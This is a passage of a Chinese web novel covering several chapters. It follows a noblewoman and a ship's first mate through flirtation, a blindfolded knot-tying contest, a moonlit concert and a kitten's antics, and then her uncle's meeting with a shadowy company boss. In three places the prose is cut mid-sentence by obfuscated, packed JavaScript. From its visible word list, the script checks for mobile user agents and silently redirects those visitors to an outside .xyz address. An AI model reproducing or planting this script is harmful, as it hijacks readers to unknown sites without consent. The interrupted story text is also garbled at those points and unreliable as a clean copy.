她正准备起身回舱,眼角的余光瞥见船尾楼的高处,一个熟悉的身影凭栏而立。 是江熠。 他似乎总是喜欢待在高处,像一头栖息在峭壁上的鹰隼,沉默地俯瞰着一切。 晚风吹起他额前几缕黑发,侧脸线条在渐暗的天光里显得格外冷硬。 于霜脚步顿了顿,鬼使神差地,改变了方向,沿着舷梯慢慢走了上去。 她走到他身边不远处,学着他的样子倚靠在栏杆上,望着船尾后方被螺旋桨搅碎的、泛着点点银白的浪迹。 两人一时无话,只有风声和海浪声在耳边慢慢低语。 “看来吉勒那小子不用再画醉蟹图了。”江熠忽然开口,声音平淡,目光依旧望着远方。 于霜微微挑眉,略带得意: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261173|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总不能真让他一辈子分不清仙后座和北斗七星在哪儿吧?好歹找到了那个歪脖子‘W’,总算有点开窍了。” 她的语气轻松,带着点调侃。 江熠的嘴角似乎小幅度地弯了一下。 “良好的教育看来还包括怎么让毛头小子乖乖听讲。” “哼,那是天赋,江副船长。”于霜扬起下巴,“毕竟不是谁都能给船上最受欢迎的‘编外成员’起名的。” 提到那只猫,江熠的眉梢动了一下。 “厨房倒是和我说最近装咸鱼的桶安静了不少。” 于霜忍不住笑出声:“看来lucky比某些水手还有用。” 突然,海上起了点阵凉风,于霜鼻子一痒,偏过头小声打了个喷嚏。 江熠皱眉,忍不住道。 “病还没好利索,别在这里吹风,给我把命好好吊着。” 于霜刚要开口反驳自己没那么娇弱,一件带着体温和淡淡皂荚气息的外套便不容分说地落在了她的肩上。 那气息冷冽而干燥,一如他本人。 外套上还残留着他身体的余温,瞬间驱散了周遭的寒意。 她微微一怔,到嘴边的话咽了回去,手指下意识地攥紧了外套的边缘。 “……多谢。”她低声说,目光重新投向深邃的夜空和微光粼粼的海面,感受着肩头陌生的重量与温暖。 又一阵海风吹过,于霜微微眯起眼,感受着风拂过面颊的力度和湿度,像是本能般轻声分析道:“风速在减缓,气流也变得有些紊乱。看那边堆积的云层样子,估计三到四个小时后,风力会转向,如果不及早调整帆索角度,明早日出时分,我们的速度会慢下来。” 她的语气平静而笃定,没有炫耀,而是陈述一个基于观察和经验的事实。 江熠侧过头看她。 月光勾勒出她精致的侧脸,那双眼睛映着星辉和海浪的碎光显得熠熠生辉。 与她身上披着的、属于他的宽大外套形成一种奇特的反差。 他没有质疑,只是沉默地听着,目光在她脸上停留了片刻,又转向她方才示意的云层方向。 “看到了。” 他沉声应道,算是认可了她的判断。 这种无需多言的默契,让于霜心底掠过一丝微妙的涟漪。 这时,下层甲板传来吉勒压低的惊呼和软软的猫叫声,大概是lucky又在进行它的夜间探险了。 于霜的唇角不自觉微微上扬。 江熠的目光从海面收回,掠过她极浅的笑痕。 “风变大了,回船舱去。”他的声音依旧没有太多波澜,但驱赶的意味里似乎掺杂了一丝极淡的、关乎她身体状况的关心。 肩头外套传来的暖意确实让于霜无法拒绝这个提议。 她点了点头,轻声道:“知道了。” 她转身走向舷梯,走下几步前,下意识回头看了一眼。 江熠依然站在原地,身影在夜色与月光中显得愈发挺拔孤寂,仿佛与这艘船、这片海融为一体。 他并未收回目光,就这么直勾勾看着,只是在她眼神投去的瞬间,极轻微地颔首,示意她离开。 于霜收回视线,拢紧肩上带着他气息的外套,慢慢走回舱房。 那外套似乎隔绝了晚间的寒凉,也在她的心尖上留下了一股酥酥麻麻的欣喜雀跃。 19. 灵光乍现 在船医的调理下,于霜虚弱的身子一天天好转。 她没有去甲板,反而总是呆在房间里,琢磨牛皮纸的秘密。 于霜将牛皮纸平铺在桌面上,目光依次扫过。 一张因盐会显现出蓝纹痕迹,另一张则因为体温显现,与星座有关,最后一张……还依然是空白。 于霜的指尖按在太阳穴上,眉头不由蹙起。 现在的线索支离破碎,就像散落一地的珍珠,却缺少那根能将他们串联在一起的丝线。 如果海难是叔叔造成的,他到底是为了什么,需要对她父母下如此死手? 钱?权?亦或是都有? 于霜实在想不到。 她拿起第二张牛皮纸,对着光亮仔细查看,试图找出更多隐藏的细节。 甚至尝试用指尖摩擦加热不同区域,希望激发新的信息。 但最终还是于事无补。 于霜泄气般往后一靠,挫败感像细小的藤蔓,慢慢的将她缠绕,收紧。 她知道父母一定留下了足够的方法,但她似乎就是缺少了那把最关键的钥匙。 那种距离真相只有一步之遥却又无法触及的感觉,让她更加心烦意乱。 就在她对着牛皮纸几乎要陷入钻牛角尖的执拗状态时,舱门外传来了熟悉的,沉稳的敲门声。 咚,咚。 节奏简洁,却不容忽视,存在感极强。 于霜瞬间听出是谁。 她迅速将牛皮纸收起,塞回暗袋,深吸一口气,整理了一下略显烦躁的表情,这才开口道:“请进。” 门被推开,江熠高大的身影出现在门口,几乎堵住了整个门框。 他手里端着一个杯子,里面装了满满一杯的柠檬汁。 他的目光快速扫过舱内,在她脸上停留一瞬,似乎察觉到她眉宇间残留的那丝未完全掩饰的焦虑和沮丧,但他什么也没多问。 “喝了。”他走进来,直接将杯子递到于霜面前,语气一惯没什么温和的商量。 于霜看着那杯柠檬汁,条件反射地皱起了脸。 连着几天那酸掉牙的记忆瞬间复苏。 她此刻正因线索中断而心烦,语气不由带上了一点迁怒和娇气。 “又喝?江副船长,你是柠檬成精吗,能不能换点别的,哪怕啃个酸果子呢?” 江熠面无表情地看着她抱怨,举着杯子的手稳如磐石,丝毫没有收回的意思。 等她说完,他才开口,声音低沉却一针见血:“你是想牙龈流血、牙齿松动,虚弱得连纸都拿不稳,到时候看着线索干瞪眼?” 又是这句。 直白、粗暴,却该死的有效。 于霜被噎得说不出话,好没气地瞪着他。 她当然知道他说的是事实,坏血病的威胁是实实在在的。 只是……只是在这种心情郁闷的时候还要被逼着喝这玩意儿,实在让人高兴不起来。 她赌气似的撇开脸,小声嘟囔:“……就知道用这个威胁我。” 江熠看着她这副难得的孩子气的模样,眼底极快地闪过一丝罕见的笑意。 他没有反驳,也没有安慰,只是将杯子又往前递了半分,几乎要碰到她的嘴唇,斩钉截铁地道: “喝、掉。” 于霜深吸一口气,知道拗不过他。 她愤愤地转回头,几乎是抢过杯子,像喝苦药一样,仰头屏息,“咕咚咕咚”几口迅速灌了下去。 强烈的酸涩感刺激着味蕾,让她整张脸都皱成了一团,眼睛也被激出了一层薄薄的水汽。 她赶紧放下空杯子,拿起旁边的清水猛漱口。 江熠看着她喝完,接过空杯子,并没有立刻离开。 他的目光落在她因为酸楚而皱紧的小脸和微微泛红的眼角上,沉默了片刻。 就在于霜还在跟嘴里残留的酸味作斗争时,一只宽大小麦色的手,忽然伸到了她面前。 那只粗粝的手掌心里,赫然躺着一颗用简陋油纸简单包裹着的小小方块。 于霜漱口的动作顿住了,有些愕然地抬起头,看向手的主人。 江熠的表情依旧没什么波澜,甚至有点硬邦邦的,只是将手又往前递了半分。 “拿着。” 于霜瞥了一眼那其貌不扬的糖块,大小姐的骄矜让她下意识地嘴硬。 她微微扬起下巴,语气带着点嫌弃:“……我们贵族才不吃这种粗糙的糖块。” 江熠闻言,眉梢都没动一下,直接作势就要收回手,语气平淡却噎人:“不吃还我。” “谁说不吃了!”于霜几乎是立刻反驳,手比脑子更快,一把将那颗糖从他掌心抢了过来,动作快得生怕他真的收回去。 她当着他的面,略带挑衅地瞪着他,迅速拆开油纸,将那块深色的麦芽糖塞进了嘴里,用力一咬。 粗糙的糖粒在口中碎裂开,冲淡了酸涩感。 虽然比不上她以往吃的精致甜点,但这种原始的甜味在此刻却显得格外受用。 江熠看着她这副口是心非、抢了糖又故意嚼给他看的样子,嘴唇一弯。 他最近不太对劲,于霜边嚼着糖边想。 他怎么老是笑她。 于霜感受着甜味带来的心情好转,心头一动,在江熠就要转身离开时一把拉住他的袖子。 “江熠。” 江熠脚步一顿,垂眼看着她葱白纤细的手,眸子暗了几分。 “干什么?”江熠问,脑子里却想着另一件事。 她上船这么多天,怎么还是这么白,白得都晃眼了。 “你过来,给你看个东西,你帮我分析一下。” 于霜将两张牛皮纸拿出来放在桌上,压低声音。 “我好像发现了一点东西,但又好像什么都没发现……” 江熠闻言,走近了几步,一只手撑在桌边,微微弯腰。 “发现什么了?” 于霜将牛皮纸显影的秘密一五一十地告诉了他,也说出了自己的困惑。 “这张的蓝色痕迹,很像某个路径,但我找不到这条路的源头。” 她把纸推过去了一些,江熠往她旁边凑近了点。 “还有这个,应该需要特定的天象条件,但它指向很模糊,没有更精确的信息,我们就像在迷宫里打转。” 于霜一手撑着脑袋,轻叹了一口气。 江熠沉默地听着,目光专注地在两张牛皮纸上来回扫视。 他指尖隔空点了点那个星座图案:“这个形状……你确定是仙后座?” “很像,尤其是核心的‘W’部分,但又不完全一样,有些点的位置很古怪。”于霜蹙眉。 她下意识地侧过头,想听取他的意见。 这一转头,却猛地顿住了。 距离太近了。 近到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看着江熠,忽然觉得,有这个心思缜密、角度刁钻的家伙在身边,似乎……也不错。 “谢了,” 她语气轻松了些,将牛皮纸小心收好,“虽然你的糖很难吃,但脑子偶尔还算好用。” 江熠对于她这种典型的“给个甜枣又打一巴掌”的说话方式似乎已经习惯,只是瞥了她一眼,没接话。 “如果是这样的话……”于霜被新的思路吸引,立刻在自己的日志上涂涂画画,完全忘了身边还有个大活人,随口就打发道,“副船长,没你的事了,你可以走了。” 话音落下,舱内有一瞬间的寂静。 江熠没有动。 江熠目光直直地看着她的侧脸。 她长长的睫毛垂着,在眼下投下一小片阴影,完全沉浸在她的推理世界里,丝毫没察觉自己刚才那句话有多么的…… 理所当然,且过河拆桥。 用完就丢,这就是她们大小姐的做派吗? 需要他的时候,一个眼神一句话,他就得过来。 现在得了点启发,立刻就像打发个多余的工具一样让他走人。 于霜一点儿也没注意到江熠瞬间深沉了几分的目光和周身散发出的那丝不易察觉的低气压。 江熠等了半天,最终只“嗯”了声,转身拿着那只空杯子,沉默地离开了舱房。 算了,随便她怎么使唤。 他心中有气,关门的声音比平时稍微重了那么一丝丝。 但也仅仅是一丝丝而已。 20. 小猫助攻 连着几天,于霜都呆在房间里研究日志。 一连几个小时,让她脖子异常酸痛,于霜被迫从书中抽出身,抬头转了转已经僵硬的脖子,放松放松。 突然,舱门外传来了窸窣的响动和少年压低声音的恳求。 “西蒙小姐,西蒙小姐您在里面吗?lucky它……它好像有些无精打采的,您能出来看看吗?” 于霜揉着发胀的太阳穴,叹了口气。 她知道吉勒多半是想找借口拉她出去,但小猫的安危还是让她心下一紧。 她起身开门,吉勒抱着那只三花小猫,脸上写满了急切。 lucky在他怀里软软地“喵”了一声,尾巴尖懒洋洋地晃了晃。 “它怎么了?” “不知道……就、就不太爱动……” 于霜仔细看了看,伸手摸了摸小猫的耳朵和肚子,无奈道:“它只是吃饱了想睡觉。吉勒,你太紧张了。” 吉勒脸一红,讪讪地抱着猫,却不肯离开:“那、那您也出来透透气嘛,今天甲板上阳光可好了!老在房间里会闷坏的——” 于霜本想拒绝,但看着少年亮晶晶的,充满期盼的眼睛,再想想自己毫无进展的研究,最终还是点了点头。 或许换换地方,对自己的脑子会更有帮助。 – 甲板上果然热闹。 水手们完成了上午的活计,正三三两两地聚在一起休息聊天。 吉勒抱着lucky,走在于霜旁边,兴奋地指着人群中央:“西蒙小姐,我们来的正是时候!快看,他们要开始打结比赛了!” 只见一块空地中央堆放着各式粗细的缆绳,大副雷恩正粗声粗气地宣布规则,唾沫星子在阳光下乱飞。 “老规矩,蒙眼,老子喊什么结就打什么结!最慢的打弯的,今晚洗所有人的餐盘——包括厨子那口油腻腻的大锅!” 在一片哄笑声和假装的哀嚎声中,几个自告奋勇的水手用脏兮兮的布条蒙上眼,摩拳擦掌,像一群即将登上擂台的莽汉。 比赛开始,喊声和笑骂声此起彼伏,有人手指笨拙地摸索,有人自信满满却缠成了死疙瘩,引得周围人不断拍腿起哄。 “科多,你到底行不行?” “逞什么能呢普罗,还不如码头边的商贩——” 空气里弥漫着轻松快活的气息。 于霜在外围看着,觉得这粗犷的游戏也还有些趣味,嘴角不自觉地带了点笑意。 这时,不知哪个看热闹不嫌事大地家伙大喊了一嗓子:“副船长,来露一手!给这帮窝囊废开开眼!” 人群像被劈开的海浪,自动分开一条过道。 江熠不知何时倚在远处的货箱旁,闻言,他没什么表情地直起身,走了过来。 他没说话,只是从旁边一个水手手里接过一条黑色的布袋,动作利落地蒙在自己眼睛上,在后脑打了一个结实的结。 阳光勾勒出他挺拔的鼻梁和下颌线,蒙上眼后,那平时就显得冷硬的面容更添了几分神秘的专注。 于霜被人群推挤在最后面,没办法,她只能透过水手们肩膀中间的缝隙去看他们的副船长。 不知道是不是她的错觉,江熠的目光似乎穿过黑布和人群,遥遥与她对视。 周围瞬间安静了不少,所有人的目光都聚焦在江熠身上。 “单套结。”雷恩粗哑的声音响起,带着点看戏的期待。 几乎是话音砸落在甲板的瞬间——甚至让人觉得他是不是被提前告知了——江熠的双手不假思索地动了。 那绳索仿佛自己活了过来,精准地滑入他指尖的掌控。 他的手指修长而有力,指节分明,带着常年拉缆绳留下的薄茧,此刻却灵活得惊人。 穿梭,绕环,收紧,一拉—— 每个动作都简洁高效,没有丝毫多余。 众人甚至没看清过程,一个完美得如同从航海教科书里蹦出来的单套结,已经静静地躺在他掌心里。 “嘶——”有人倒吸一口凉气。 短暂的死寂后,甲板上爆发出更大的哗然。 “老天!这速度!” “副船长的手指是长了眼睛吗?!” “我不蒙着眼都没他利索!!” 雷恩瞪大了双眼,赶紧喊下一个,声音里带了点莫名的兴奋。 “升降帆活结——” 同样的情况再次发生。 绳索在江熠指间温顺的像被驯服的蛇,无论多复杂的绳结,他蒙着眼的速度甚至比别人睁着眼还要快,还要准。 那不仅仅是熟练,更是一种深殖于身体的本能,是在无数次生死搏击中淬炼出的,绝对可靠的生存技能。 吉勒嚎了一嗓子,将小猫往于霜怀里一递,自己找着人群中的缝隙一溜烟钻了进去。 “西蒙小姐,帮忙抱一下……我过去啦!” 于霜:“……?” 行吧,她调整了抱lucky的姿势,让小猫在自己的怀里能更舒服。 “渔人结!” “八字返穿结!” “双套结!” 雷恩喊的速度愈来愈快,江熠的动作都没有丝毫停顿或犹豫。 他站在那里,身姿挺拔,蒙着眼的面容冷峻。 只有那双翻飞的手在诉说着与大海搏斗的全部经验和强大自信。 周围的喝彩声从最初的起哄变成了真正的,带着敬畏的赞叹。 年轻水手们看的眼睛发直,仿佛在看一场魔法表演。 于霜也怔住了。 她忽然清晰的意识到,这个男人在海上领域所拥有的权威,是毋庸置疑,且极具吸引力的。 这时,一个刚才比赛失利但好胜心又强的水手,大概是输昏了头,竟然趁江熠刚打完一个结,手还没完全松开时,突然伸手想去扯那个结,想试试是不是真那么牢固。 结果他的手刚碰到绳结,江熠仿佛脑后长眼,手腕极其轻微地一抖一绕。 众人还没看清,那水手的手指反而莫名其妙地被绳梢轻轻缠住了一下。 虽然不紧,却吓得他“嗷”一嗓子猛地缩回手,像是被烫到一样,满脸通红地蹦到一边,引得周围人爆发出更加响亮的哄笑和调侃。 “哈哈哈哈哈科多你个蠢货!还想偷袭副船长?” “副船长的手那是你能比的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281166|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “今晚的锅归你洗定了,哈哈!” 江熠这才慢条斯理地解下蒙眼布条,眼神淡漠地瞥了一眼那个面红耳赤的水手,毫不留情道:“晚上自己练习,我明天检查。” 长时间蒙眼后,视线骤然恢复明亮,他下意识眯了下眼,目光习惯性地扫过周围欢呼起哄的水手们。 然后,他的视线定格在人群外围。 于霜正站在那里,海风吹拂起她颊边几缕散落的发丝。 阳光为她精致的侧脸镀上一层光晕。 她似乎来了很久,怀里抱着那只不安分的猫,小猫的爪子正有一下没一下地勾玩着她披肩上细细的流苏。 她微微歪着头,看着他的方向,那双总是带着几分聪慧和倔强的鎏金色眼眸里,还残留着一丝未来得及完全敛去的惊叹的光彩,与她身上勾勒出纤细身形的白色细麻长裙意外的和谐。 江熠的目光在她脸上停留了一瞬,快得几乎让人无法捕捉。 他没什么表情,只随手将解下的布条揉成一团,像是扔掉什么无关紧要的东西一样,随意地朝旁边一抛—— 那布团划出一道轻微的弧线。 就在于霜还没完全从刚才他那番行云流水的操作中回过神时,她怀里的lucky却瞬间被那移动的“猎物”吸引了全部注意。 小猫猛地从她怀里挣脱,像一道毛茸茸的闪电般扑向那即将落地的布团。 “喵——” “哎呀!” 于霜只觉得怀里一空,惊呼出声,下意识地伸手想去捞猫,却捞了个空。 她看着lucky兴奋地追逐着那团布条,在甲板上翻滚扑腾,脸上露出一丝又好气又好笑的无奈。 就在这时,一声极低、却清晰可闻的轻笑从身旁传来。 于霜转过头,只见江熠不知何时已经走到了她附近。 他正看着她那副略显慌乱又拿猫没办法的样子,那双平时总是深邃冷冽的黑眸里,此刻竟难得地漾起一丝几促狭的笑意。 他看着她,语气里带着一种罕见的、近乎直白的调侃。 声音不高,却足以让她听清: “傻乎乎。” 三个字,轻飘飘的,没有什么恶意,反而像羽毛一样,轻轻搔过于霜的心尖。 像是在说猫,又像是在说她刚才那一下的惊慌失措。 于霜的脸颊“唰”地一下微微发热,像是被那难得的笑意和直白的调侃烫到了一样。 她立刻不服气地瞪回去,试图维护自己的形象:“是它太调皮了!谁让你乱扔东西!” 然而江熠已经收回了目光,嘴角那点笑意也迅速隐去,恢复了平时那副冷硬的模样,仿佛刚才那句调侃只是她的错觉。 他没再理会她,转身走向一旁正在收拾绳索的水手,仿佛刚才那段小插曲从未发生。 只剩下于霜站在原地,怀里空落落的,脸颊还残留着可疑的热度。 听着周围水手们对lucky追逐布团的善意的笑声,心里有点懊恼,又有点…… 有点说不清道不明的、像是被小猫爪子轻轻挠过的微妙感觉。 于霜揉揉脸,强迫自己冷静下来。 21. 月下音乐 另一边,离他俩最近的几个老水手瞬间瞪大了眼睛,仿佛看到了什么惊天大秘密。 他们那位总是冷着脸、仿佛对除了航行和打架之外一切事物都漠不关心的副船长,居然对着那位贵族小姐笑了。 这就像一颗石子投入平静的海面,在周围水手中间激起了无声却巨大的涟漪。 他们互相用胳膊肘猛撞对方,挤眉弄眼,脸上写满了“我没看错吧”的震惊和压抑不住的兴奋。 嘴巴无声地张合着,用夸张的口型传递着只有他们才懂的八卦讯息。 “老天……副船长刚是不是……” “他笑了?!还对西蒙小姐笑了?” “我是不是昨晚朗姆酒喝多了出现幻听了?” 几个胆子大又爱闹腾的年轻水手,互相交换了一下眼神,不约而同地把目光投向了正一脸崇拜地看着江熠、还没完全搞清状况的吉勒身上。 其中一人悄悄从后面推了吉勒一把,压低声音怂恿道:“嘿,吉勒!快去!问问副船长今天是不是捡到宝藏了心情这么好?” 另一个也憋着笑附和:“对对!快去问问副船长,刚才在笑什么呢。” 吉勒被推得踉跄一步,差点撞到于霜。 他其实也看到了刚才那一幕,心里正为副船长的“平易近人”而激动。 被同伴一怂恿,脑子一热,真的就挠着头,带着点傻乎乎的笑容,朝正要转身离开的江熠开口:“副、副船长,您刚才……” 他的话还没问完。 江熠甚至没完全转过身,只是侧过头,眼神里没有丝毫笑意,只有熟悉的、令人窒息的冷冽和警告,仿佛刚才那个嘴角带笑的人根本不是他。 “我上次让你记的航海图,你都记完了?” 吉勒剩下的话瞬间卡死在喉咙里,脸上的笑容也僵住了,只觉得一股寒意从脚底板窜上天灵盖,吓得他舌头打结,后面的话一个字也吐不出来,只剩下本能地疯狂摇头摆手:“没、没有,但是快了,我、我我去看看锚链——!” 说完,他像是被鬼撵一样,嗖地一下缩回了人群后面,心脏砰砰狂跳,再也不敢多看一眼。 其他刚才还怂恿他的水手们也瞬间噤若寒蝉,赶紧低下头,假装忙碌地整理绳缆或者擦拭根本不脏的甲板,仿佛刚才起哄的不是他们。 江熠这才收回那吓死人的目光,脸上又恢复了万年不变的冷硬,仿佛刚才那瞬间的缓和从未存在过。 他甚至没再看于霜一眼,转身径直走向船头方向,留下一个散发着“生人勿近”气息的背影。 等他走远,压抑的气氛才稍稍缓解。 水手们立刻又凑到一起,声音压得更低,议论得更加热烈。 “吓死我了……副船长还是副船长……” “我就说嘛,他怎么可能转性……” “不过刚才他确实对西蒙小姐笑了没错吧?” “绝对笑了!还说了话!” “奇了怪了……说不定副船长就吃贵族小姐那一套?” “嘘!都小声点!” 这些窃窃私语隐约飘过于霜的耳边,让她脸颊上的热度刚褪下去一点又有点回升。 她看着江熠迅速远离的背影,那背影似乎比平时更加紧绷,像是在极力抹去什么不该存在的痕迹。 她又低头看了看终于扑住布团、正玩得不亦乐乎的lucky,心里那点被说“傻”的懊恼早就被这突如其来的插曲和周围水手们的反应冲散了,只剩下一种更加复杂难言的、乱糟糟的情绪。 她弯腰抱起终于玩累了的lucky,轻轻点了点它的湿鼻子,低声嘟囔:“……都怪你。” 小猫无辜地“喵”了一声,舔了舔爪子。 于霜拿它没辙,手狠狠地揉了揉lucky的脑袋,又把脸埋在小猫肚子上猛吸几大口。 lucky:“……喵?” - 是夜,皎洁的月光洒满平静的海面,给诺尔尼斯号也染上了一层柔和的银辉。 白日里的喧嚣已然沉寂,一种宁静而舒缓的氛围笼罩着航船。 不知是谁起的头,哑炮手老摩根——一个平时沉默寡言、脸上刻满风霜痕迹的老水手——竟从他那宝贝的木箱底层,取出了一把保养得极好的旧小提琴。 琴身的漆色虽已斑驳,琴弦却绷得紧紧的,被他用粗糙的手指珍重地擦拭了几下,然后熟练地架在了肩上。 厨子汤姆嘿嘿笑着,变法似掏出来两个擦得锃亮的铜盆和一把长柄勺,在一旁跃跃欲试。 没有宣言,没有仪式,一场即兴的月光音乐会就此开始。 老摩根闭上眼,下巴轻轻抵着琴托,仿佛在于一位老友对话。 他干枯却稳定的手指拉动琴弓。 一曲略带沙哑却异常悠扬,带着浓浓怀旧意味的老水手歌谣——《南下的风》——便如泣如诉地流淌了出来。 旋律简单而重复,却仿佛承载着无数个远航的日夜、对故乡的眺望和海上人深藏心底的柔情。 厨师汤姆用勺子有节奏地敲击着铜盆边缘,发出“叮叮当当”清脆又有些滑稽的伴奏。 虽然简单,却奇异地与小提琴的旋律贴合在一起,增添了几分质朴的欢快。 水手们三三两两地聚拢过来,或直接坐在甲板上,或倚着缆绳堆、货箱。 没有人高声喧哗,大多只是安静地听着,脸上带着放松的笑意,眼神有些放空,仿佛随着音乐回到了某个遥远的港口或思念的家乡。 有人跟着旋律轻轻用脚打着拍子,有人低声哼唱起熟悉的歌词。 这时,水手长巴斯清了清嗓子,他喝了不少朗姆酒,黝黑的脸上泛着红光。 他站起身,走到老摩根身边,粗豪的嗓音加入进来,开始大声唱起民谣的歌词: “南风吹拂,离港远航哟,我心爱的姑娘,莫要心伤。待到北风再起时,满载荣耀归故乡……” “浪涛汹涌,前路茫茫哟,想起你的笑容,是我唯一的光……” “嘿哟!用力拉缆绳哟!嘿哟!齐心破巨浪!为了家乡等待的人,再远的海路也无妨!” 他的歌声算不得多么优美,甚至有些粗哑,却充满了真挚的情感和历经风浪的沧桑味道,瞬间将气氛推向了高潮。 不少水手都跟着大声合唱起来,尤其是副歌部分,吼得格外起劲,歌声在寂静的海面上传出去很远。 于霜也被这气氛感染,她看着这些平日里面目粗犷的汉子们此刻流露出的温情与豪迈,嘴角不自觉地上扬。 她忽然想起什么,转身跑回船舱,不一会儿,竟搬来了那个平时用于观测星象的小型黄铜天文仪。 在众人好奇的目光下,她熟练地调整着镜筒角度,巧妙地捕捉着清冷的月光,将其反射、聚焦,形成一束朦胧而梦幻的光柱,精准地打在老摩根、汤姆和巴斯身上,仿佛为他们镀上了一层银边,瞬间将简陋的甲板变成了一个拥有天然追光的奇幻舞台。 这精巧的构思引得水手们发出低低的、赞叹的欢呼。 于霜做完这一切,微微喘了口气,脸上带着点小得意,下意识地环顾四周,目光不经意地扫过主桅杆的方向。 江熠就靠在那里,几乎半隐在阴影之中。 他依旧穿着那身深蓝色的水手工装 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但这种还算温和的反应,本身就已经是一种缓和。 于霜的心情莫名地更好了些。 朗姆酒香愈发浓郁,气氛愈加热烈。 船长威廉喝得满面红光,豪迈地大笑着跳起来,开始表演他那套闻名已久却没人真正看懂过的“水手角笛舞”,动作夸张笨拙,却充满了纯粹的快乐,惹得众人前仰后合。 就在于霜笑着看船长跳舞时,她无意间再次看向江熠的方向。 这次,她清晰地看到,他嘴角那抹极淡的笑意并未消失,反而加深了些许,甚至带着一点看戏的趣味,柔和了他面部冷硬的线条。 他似乎……真的放松了下来。 然而,乐极生悲。 威廉船长在一个投入的旋转后,踉跄着后退—— “喵嗷!!!” 一声凄厉到破音的猫叫骤然响起。 只见船长结结实实踩中了不知何时溜到人群里的lucky的尾巴。 老船长吓得猛地一跳,“噗通”坐倒在地。 而lucky惨叫着炸开全身毛,像道闪电般惊恐万状地窜逃消失。 死寂一秒后,震天的狂笑几乎掀翻甲板。 于霜也笑得弯下了腰,眼泪都快出来了。 她一边笑,一边下意识地再次望向江熠。 他依旧靠在桅杆上,看着这鸡飞狗跳的混乱场面,摇了摇头,但脸上的笑意却未散去,甚至抬手揉了揉眉心,一副“没眼看”却又忍俊不禁的样子。 吉姆惊呼着追猫去了。 月光下,笑声、喊声、抱怨声交织在一起,却奇妙地编织成了一幅名为“家”的温暖画卷。 于霜站在其中,感受着这份粗糙却真实的快乐。 月光下,欢闹的余韵尚未完全消散。 一阵略强的海风穿过甲板,吹拂起于霜散落的发丝和单薄的裙摆,带来一丝凉意。 她下意识地微微瑟缩了一下。 几乎就在同时,一个高大挺拔的身影不着痕迹地侧移半步,停在了她与风来的方向之间。 江熠依旧保持着抱臂倚靠桅杆的姿态,目光甚至没有看向她,仿佛只是随意调整了一下站位。 但那阵原本该直接扑向于霜的海风,却被他的脊背和宽阔的肩膀结结实实地挡了下来,只余几缕微弱的气流,绕行而过。 他像是在无声地圈划出一片领域—— 一片以他为中心、将她笼罩其中的、受他庇护的绝对领域。 22. 暗流涌动 岩爪湾,自由港。 灰扑扑的天空下,一艘低调不起眼的小渔船悄无声息地停靠在一处僻静的港口,像一道鬼魅的影子,与周围的怪石融为一体。 佩德克.珀金斯——于霜的叔叔——裹紧斗篷,警惕地环视四周,潮湿咸腥的空气压得他有些喘不过气。 一个身影从阴影中踱出,步伐沉稳,带着一股挥之不去的血腥与盐渍混杂的气味。 正是那个在黑市追杀过于霜和江熠的刺青壮汉,他手臂上的刺青在晦暗的光线下更显狰狞。 佩德克有些紧张地上前一步:“情况怎么样?那丫头……” “溜了。”刺青男打断他,声音烦躁,“你侄女比你想的能折腾,还找了个挺厉害的帮手。” 他语气里带着明显的不满和一丝未消的戾气。 佩德克脸色一白:“那……她会不会知道了我们的计划……” “知道又如何?她能有多大的能耐?”刺青男嗤笑一声,逼近一步,目光锐利如刀,“我们老板要的东西,你到底准备好没有?耐心是有限的,珀金斯。” 佩德克下意识地后退了半步,完全没了当时在庄园里的气定神闲。 他抬起眼,定了定神:“带我过去,我会和老板解释清楚的。” 刺青男耸了耸肩,手往前比了个手势,示意佩德克跟上。 穿过酒吧连廊,走进黑市里的一间低调的房间里,刺青男恭恭敬敬地敲了敲门。 “老板,珀金斯先生来了。” “进。” 里面的人道。 刺青男替佩德克打开门,等他进去后又拉上,安安静静地守在门外。 佩德克摘下帽子,冲坐在黑色椅子上的男人鞠了一躬。 “老板。” 男人的椅子旋转过来,双手交叉,手肘抵在桌上。 “你来了珀金斯,坐吧。” 佩德克道了谢,小心翼翼地坐在男人对面。 如果于霜此刻看到这个男人,一定会惊呼出来——这正是父母葬礼那天,在她家楼下出现过的戴三脚帽的神秘男人。 男人眼神里的贪婪掩藏不住,声音有些尖锐:“我要的东西,你带来了?” 佩德克下意识地咽了咽口水,冷汗浸湿了后领:“最近……最近一直在处理家族后续的麻烦,稳住那些股东和亲戚,实在抽不开身……” “但我翻遍了兄嫂在城里的宅邸和保险柜,没有任何发现。” 他急切地辩解,“我怀疑,他们可能把东西藏在乡下的老庄园了,那里地方大,隐蔽处多……” 他有些害怕这个东印度公司总督府的头头。 “那就去找!”男人明显急了,低声吼道,声音压抑着威胁,“别耍花样。别忘了,是谁帮你坐上现在这个位置的,也能让你摔得更惨。” 男人将手中的雪茄烟狠狠点了两下,浓浓的白雾缭缭升起,模糊了两人的视线。 “快点给我去找,全公司的船都等着……我们在新大陆发现的那些东西……可等不起你这么磨蹭!” “明白,明白。”佩德克连声应道,擦了擦额角的汗,“我会尽快去老庄园搜查。” 